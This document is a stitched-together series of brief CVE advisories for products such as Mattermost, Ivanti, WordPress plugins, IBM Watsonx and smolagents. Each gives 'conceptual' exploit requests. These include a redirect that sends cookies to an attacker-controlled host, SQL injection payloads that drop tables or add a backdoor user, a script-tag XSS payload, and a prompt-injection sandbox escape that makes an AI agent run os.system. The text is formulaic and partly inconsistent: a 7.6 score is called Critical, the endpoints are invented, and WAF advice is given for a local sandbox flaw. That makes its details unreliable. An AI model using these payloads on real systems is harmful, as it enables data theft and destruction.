Author: Ameeba

Overview

This report covers the discovery and analysis of a serious vulnerability, CVE-2025-9072, affecting Mattermost versions 10.10.x <= 10.10.1, 10.5.x <= 10.5.9, 10.9.x <= 10.9.4. This flaw exposes systems to potential compromise and data leakage, highlighting the need for immediate patching. Vulnerability Summary

CVE ID: CVE-2025-9072
Severity: Critical (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage through cookie theft

Affected Products

Product | Affected Versions

Mattermost | 10.10.x <= 10.10.1 Mattermost | 10.5.x <= 10.5.9 Mattermost | 10.9.x <= 10.9.4 How the Exploit Works

The vulnerability lies in the improper validation of the redirect_to parameter. An attacker can exploit this flaw by crafting a malicious link. Once a user authenticates with their SAML provider, the user’s cookies could be posted to an attacker-controlled URL, enabling possible system compromise and data leakage.

Conceptual Example Code

The following is a
conceptual
example of how the vulnerability might be exploited. This could be a sample HTTP request, where the redirect_to parameter is manipulated:

GET /login/sso/saml?redirect_to=https://attacker-controlled-url.com HTTP/1.1
Host: vulnerable-mattermost-instance.com

In this example, the user’s cookies would be posted to the attacker-controlled URL, potentially compromising the user’s session and any sensitive information contained within those cookies.

Overview

The report discusses a critical vulnerability associated with the NVIDIA NVDebug tool. This vulnerability, designated as CVE-2025-23343, poses significant risk to system integrity, potentially leading to unauthorized data access, denial of service, and data tampering. By exploiting this vulnerability, malicious actors can compromise systems and leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-23343
Severity: High (CVSS: 7.6)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise, information disclosure, denial of service, and data tampering

Affected Products

Product | Affected Versions

NVIDIA NVDebug Tool | All versions prior to patch

How the Exploit Works

The vulnerability in the NVIDIA NVDebug tool allows an attacker to write files to restricted components. This is possible due to improper permission settings, which grant unauthorized users access to these components. The attacker can exploit this vulnerability to tamper with the data, cause a denial of service, or disclose sensitive information.

Conceptual Example Code

While a specific exploit code is not provided, the conceptual example below illustrates how an attacker might attempt to exploit this vulnerability:

# Python pseudocode
import nvdebug
def exploit():
nvdebug.init()
file = nvdebug.open_file("restricted_component")
nvdebug.write_file(file, "malicious_payload")
nvdebug.close_file(file)
if __name__ == "__main__":
exploit()

This pseudocode represents the process of initializing the NVDebug tool, opening a restricted component file, writing a malicious payload to it, and then closing the file. This action could lead to the potential havoc mentioned earlier.

Overview

The CVE-2025-55148 vulnerability affects multiple Ivanti security products. A security oversight allows authenticated users with read-only admin privileges to configure restricted settings. This vulnerability could potentially lead to system compromise or data leakage, making it a significant threat to organizations using the affected products.

Vulnerability Summary

CVE ID: CVE-2025-55148
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Ivanti Connect Secure | Before 22.7R2.9 or 22.8R2
Ivanti Policy Secure | Before 22.7R1.6
Ivanti ZTA Gateway | Before 2.8R2.3-723
Ivanti Neurons for Secure Access | Before 22.8R1.4

How the Exploit Works

An attacker with authenticated read-only admin access could exploit this vulnerability by sending specific configuration requests to the server. As the system does not properly enforce authorization checks for these requests, the attacker can modify settings that should be restricted.

Conceptual Example Code

This is a hypothetical example of how an attacker might use a HTTP request to exploit the vulnerability:

POST /restricted/settings/configure HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer read-only-admin-token
{ "restricted_setting": "new_value" }

In this example, the attacker sends a POST request to the restricted settings configuration endpoint, attempting to change a restricted setting to a new value. Despite having only read-only admin privileges, the server accepts and applies the new configuration due to the vulnerability.

Overview

In this report, we address a critical cybersecurity vulnerability, CVE-2025-58789, that affects the Themeisle WP Full Stripe Free plugin. This vulnerability can expose websites to SQL Injection attacks, potentially leading to system compromise or data leakage. Given the popularity of WordPress and its plugins, understanding this vulnerability is crucial for maintaining the security of many websites worldwide.

Vulnerability Summary

CVE ID: CVE-2025-58789
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Themeisle WP Full Stripe Free | Up to 8.3.0

How the Exploit Works

The vulnerability arises from the Themeisle WP Full Stripe Free plugin not neutralizing special elements used in an SQL command properly. This lack of sanitization can allow an attacker to manipulate SQL queries by inserting malicious SQL code into the input fields. If successful, the attacker could potentially execute arbitrary SQL commands on the server, leading to unauthorized data access or even system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. The following SQL code could be injected through an input field:

GET /wp_full_stripe_free/search?term='; DROP TABLE users; -- HTTP/1.1
Host: target.example.com

This example is an SQL injection attack, where the attacker tries to delete the ‘users’ table from the database. Keep in mind, this is a simple demonstration of potential exploitation, and real-world attacks could be more complex and damaging.

Overview

The vulnerability CVE-2025-58788 pertains to an SQL Injection flaw found in the License Manager for WooCommerce developed by Saad Iqbal. The improper neutralization of special elements, leading to SQL Injection, can potentially compromise the system or result in data leakage. This issue is vital as it impacts WooCommerce users, potentially exposing sensitive data and compromising system integrity.

Vulnerability Summary

CVE ID: CVE-2025-58788
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

License Manager for WooCommerce by Saad Iqbal | n/a through 3.0.12

How the Exploit Works

The vulnerability arises from inadequate sanitization of user-supplied data in SQL queries within the License Manager for WooCommerce plugin. Attackers could manipulate SQL queries by inserting malicious SQL code into user input fields, leading to a Blind SQL Injection. Successful exploitation could allow an attacker to view, modify, or delete data in the backend database.

Conceptual Example Code

POST /license_manager/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "license_key": "valid_key'; DROP TABLE users; --" }

In this conceptual example, the attacker uses a valid license key followed by a SQL command (‘DROP TABLE users’) to manipulate the database. The ‘–‘ at the end is a SQL comment, effectively making the rest of the original query ignored, thus executing the attacker’s command.
Please note that this is a conceptual example and may not directly apply to the actual vulnerability. This example is provided for understanding the nature of SQL Injection attacks and is not a guide for exploitation.

Mitigation Guidance

Users are recommended to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These systems should be configured to detect and block SQL Injection attempts. Regularly back up your data and ensure your systems are updated to the latest security standards.

Overview

The vulnerability CVE-2025-45805 is a critical security flaw affecting the phpgurukul Doctor Appointment Management System 1.0. It allows an authenticated doctor user to inject arbitrary JavaScript code into their profile name, which is later executed without proper sanitization when a user visits the website to book an appointment. This poses a significant risk to users and the system itself, as it opens the door to potential system compromises and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-45805
Severity: High (7.6 CVSS Score)
Attack Vector: Web based
Privileges Required: Low (Authenticated doctor user)
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

phpgurukul Doctor Appointment Management System | 1.0

How the Exploit Works

The exploit takes advantage of the lack of proper sanitization of the doctor’s profile name in the Doctor Appointment Management System. An authenticated doctor user can insert JavaScript code into their profile name. When a user visits the website to book an appointment, the injected JavaScript code is executed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Consider the following conceptual example of how this vulnerability might be exploited. This is a pseudocode representation of the malicious JavaScript injection:

PUT /doctor/profile HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer doctorAuthToken
{ "profile_name": "<script>malicious_code_here</script>" }

In this example, `malicious_code_here` is the arbitrary JavaScript code that the attacker wants to run on the client’s browser when they visit the doctor’s profile. This could be used to steal sensitive information or perform other malicious activities.

Mitigation Guidance

Users of phpgurukul Doctor Appointment Management System 1.0 are advised to install the vendor’s patch as soon as it becomes available. As an interim measure, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection by detecting and blocking attempts to exploit this vulnerability. Regularly reviewing and updating security policies can also help to minimize the risk of future attacks.

Overview

The vulnerability, identified as CVE-2025-9959, is a serious issue that affects the Python execution environment sandbox maintained by smolagents. This is a significant concern as it allows an attacker to escape the sandbox through incomplete validation of dunder attributes, which could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9959
Severity: High (7.6 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

smolagents | All current versions

How the Exploit Works

The exploit works by taking advantage of the incomplete validation of dunder attributes in the smolagents Python execution environment sandbox. The attacker uses a Prompt Injection to trick the agent into creating malicious code, thereby escaping the sandbox.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is shown below. This pseudocode demonstrates how an attacker could use a specially crafted string to trick the agent into running a malicious command:

# String with embedded prompt injection
malicious_string = "__import__('os').system('malicious_command')"
# Trick the agent into executing the malicious string
agent.execute(malicious_string)

This example shows how the attacker could potentially inject a malicious command into the Python execution environment.

Mitigation

The recommended mitigation is to apply the vendor patch as soon as it’s available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It’s crucial to keep these systems up to date and monitor them for any signs of unusual activity.

Overview

A serious SQL Injection vulnerability has been identified in WPFunnels Mail Mint. Tracked as CVE-2025-58604, this vulnerability poses a significant security risk to users of Mail Mint versions up to 1.18.5. Successful exploitation could potentially compromise the system or lead to data leakage, underlining the importance of addressing this security issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-58604
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WPFunnels Mail Mint | Up to 1.18.5

How the Exploit Works

The vulnerability stems from improper neutralization of special elements used in SQL commands in WPFunnels Mail Mint. An attacker could exploit this vulnerability by injecting malicious SQL commands, which the application would then execute. This could allow an attacker to manipulate the database, potentially leading to unauthorized access, data corruption, or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example shows a malicious SQL command injected into an HTTP request:

POST /mailmint/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "userInput": "'; DROP TABLE users; --" }

In this example, the ‘; DROP TABLE users; –‘ is the malicious SQL command that could potentially delete the users table from the database.

Mitigation Guidance

Users are strongly advised to apply the vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. Regular monitoring and auditing of system and application logs can also aid in detecting any unusual activity.

Overview

This report provides a detailed analysis of the recently discovered cybersecurity vulnerability CVE-2025-0165, which affects IBM Watsonx Orchestrate Cartridge for IBM Cloud Pak for Data. This vulnerability can potentially compromise system security and lead to data leakage, making it a critical concern for enterprises and individuals using IBM’s services. The implications of this vulnerability are far-reaching and thus require immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-0165
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Successful exploitation could allow an attacker to view, add, modify, or delete information in the back-end database.

Affected Products

Product | Affected Versions

IBM Watsonx Orchestrate Cartridge for IBM Cloud Pak for Data | 4.8.4, 4.8.5, 5.0.0 – 5.2.0

How the Exploit Works

The exploit operates via a classic SQL injection attack, where the attacker sends specially crafted SQL statements through the network. These statements can manipulate the database, allowing the attacker to view, add, modify, or delete information. Due to a lack of proper input validation, the system processes these statements, resulting in the vulnerability.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This example is simplified and abstracted for illustrative purposes; real attacks may be more complex and require more detailed knowledge of the system.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/sql
{ "sql_statement": "INSERT INTO users (username, password) VALUES ('attacker', 'password');" }

In this example, the attacker has crafted an SQL statement that adds a new user to the system, effectively creating a backdoor for future access.

Mitigation Guidance

Users are strongly recommended to apply the vendor-provided patch to mitigate this vulnerability. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation by detecting and blocking malicious SQL statements.

Overview

This report discusses a significant vulnerability, CVE-2025-53230, that affects the Page Manager for Elementor through version 2.0.5. This vulnerability is crucial as it can potentially lead to system compromise or data leakage due to incorrectly configured access control levels.

Vulnerability Summary

CVE ID: CVE-2025-53230
Severity: High (7.6 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Page Manager for Elementor | up to and including 2.0.5

How the Exploit Works

The vulnerability lies in the lack of proper authorization checks within the Page Manager for Elementor. This flaw allows attackers to bypass access controls and potentially gain unauthorized access to sensitive data or perform unauthorized actions. This vulnerability can be exploited remotely over the network without requiring any user interaction or specific privileges, making it particularly dangerous.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. The attacker could send a specially crafted HTTP POST request to a vulnerable endpoint:

POST /elementor_page_manager/access HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "access_level": "admin" }

In this example, the attacker attempts to gain admin-level access to the Elementor page manager by sending a malicious JSON payload. This exploit is only conceptual and may not work in a real-world situation.

Mitigation Guidance

Users are advised to apply the vendor’s patch immediately to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. However, these should not be considered long-term solutions as they may not fully protect against all potential exploitation of this vulnerability.